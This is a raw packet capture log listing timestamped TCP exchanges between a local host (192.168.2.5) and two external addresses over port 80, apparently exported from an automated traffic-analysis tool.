Jan 4, 2022 19:33:30.173612118 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173629999 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.173651934 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173690081 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173705101 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.173727036 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173763990 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173803091 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173816919 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.173841953 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173856974 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.173882961 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173919916 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173934937 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.173958063 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.173996925 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.174043894 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.174058914 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.174081087 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.174093962 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.174119949 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.174156904 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.174175024 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.174196005 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.174233913 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.174247980 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.174273014 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.174312115 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.174329996 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.174348116 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.174386024 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.174423933 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.174439907 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.174462080 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.174475908 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.174499989 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.174539089 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.174555063 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.174668074 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.174709082 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.174730062 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.174746990 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.174784899 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.174823046 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.174835920 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.174863100 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.174905062 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.174905062 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.174942970 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.174982071 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175002098 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.175013065 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175054073 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175054073 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.175093889 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175131083 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175152063 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.175168991 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175183058 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.175208092 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175254107 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175268888 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.175292969 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175328970 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175340891 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.175367117 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175405979 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175438881 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.175442934 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175482035 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175494909 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.175519943 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175563097 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175599098 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.175601959 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175632000 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175663948 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175690889 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.175699949 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175719023 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.175744057 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175770998 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175795078 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175834894 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.175836086 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175851107 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.175867081 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175898075 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175925970 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.175956964 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.176068068 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.176101923 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.222870111 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.234458923 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.234524965 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.234596014 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.238986969 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.239051104 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.239124060 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.239129066 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.239182949 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.239238024 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.239248991 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.239295006 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.239352942 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.239409924 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.239413023 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.239468098 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.239487886 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.239531994 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.239587069 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.239640951 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.239641905 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.239698887 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.239753962 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.239757061 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.239813089 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.239816904 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.239866972 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.239928961 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.239979029 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.239988089 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.240042925 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.240055084 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.240120888 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.240178108 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.240184069 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.240235090 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.240291119 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.240345955 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.240390062 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.240405083 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.240463018 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.240472078 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.240513086 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.240529060 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.240560055 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.240616083 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.240632057 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.240672112 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.240711927 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.240762949 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.240770102 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.240837097 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.240860939 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.240941048 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.240978956 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.241024017 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.241055965 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.241096973 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.241117001 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.241153955 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.241199017 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.241219044 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.241252899 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.241297007 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.241327047 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.241358995 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.241400003 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.241416931 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.241456032 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.241476059 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.241517067 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.241568089 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.241620064 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.241627932 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.241672039 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.241719961 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.241724968 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.241774082 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.241817951 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.241830111 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.241877079 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.241879940 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.241930962 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.241981030 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.241990089 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.242033958 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.242090940 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.242243052 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.242336988 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.242388964 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.242441893 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.242443085 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.242492914 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.242547989 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.242548943 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.242599010 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.242599964 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.242666960 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.242718935 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.242722988 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.242769957 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.242822886 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.242824078 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.242877007 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.242928982 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.242929935 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.242979050 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.243031025 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.243084908 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.243087053 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.243140936 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.243191957 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.243192911 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.243241072 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.243244886 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.243297100 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.243349075 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.243349075 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.243400097 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.243453979 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.243458986 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.243505001 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.243561983 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.243611097 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.243614912 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.243679047 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.243731022 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.243733883 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.243782997 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.243839025 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.243841887 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.243890047 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.243892908 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.243942022 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.243993044 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.243993998 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.244074106 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.244131088 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.244132042 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.244174004 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.244213104 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.244239092 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.244251013 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.244290113 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.244328976 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.244355917 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.244368076 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.244385958 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.244410992 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.244448900 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.244481087 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.244488001 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.244529009 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.244566917 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.244601011 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.244606972 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.244621992 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.244647026 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.244685888 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.244716883 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.244745970 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.244765997 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.244785070 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.244800091 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.245681047 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.289998055 CET	80	49827	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:30.290091991 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.290199041 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.290256977 CET	49827	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:30.298546076 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.298593044 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.298784018 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.307817936 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.307892084 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.307950974 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.308007002 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.308012962 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.308060884 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.308113098 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.308120966 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.308175087 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.308228970 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.308260918 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.308284998 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.308340073 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.308362007 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.308397055 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.308425903 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.308449984 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.308505058 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.308549881 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.308562040 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.308615923 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.308667898 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.308670998 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.308723927 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.308768034 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.308779955 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.308836937 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.308890104 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.308940887 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.308996916 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.309024096 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.309053898 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.309155941 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.309169054 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.309226036 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.309279919 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.309336901 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.309344053 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.309392929 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.309436083 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.309451103 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.309505939 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.309545040 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.309564114 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.309617996 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.309653044 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.309675932 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.309730053 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.309782982 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.309784889 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.309840918 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.309864044 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.309895992 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.309948921 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.310003996 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.310029984 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.310060024 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.310096025 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.310117006 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.310173035 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.310200930 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.310230017 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.310285091 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.310328007 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.310343027 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.310396910 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.310445070 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.310452938 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.310508013 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.310549974 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.310561895 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.310616970 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.310671091 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.310674906 CET	49826	80	192.168.2.5	91.243.44.130
Jan 4, 2022 19:33:30.310728073 CET	80	49826	91.243.44.130	192.168.2.5
Jan 4, 2022 19:33:30.310770988 CET	49826	80	192.168.2.5	91.243.44.130
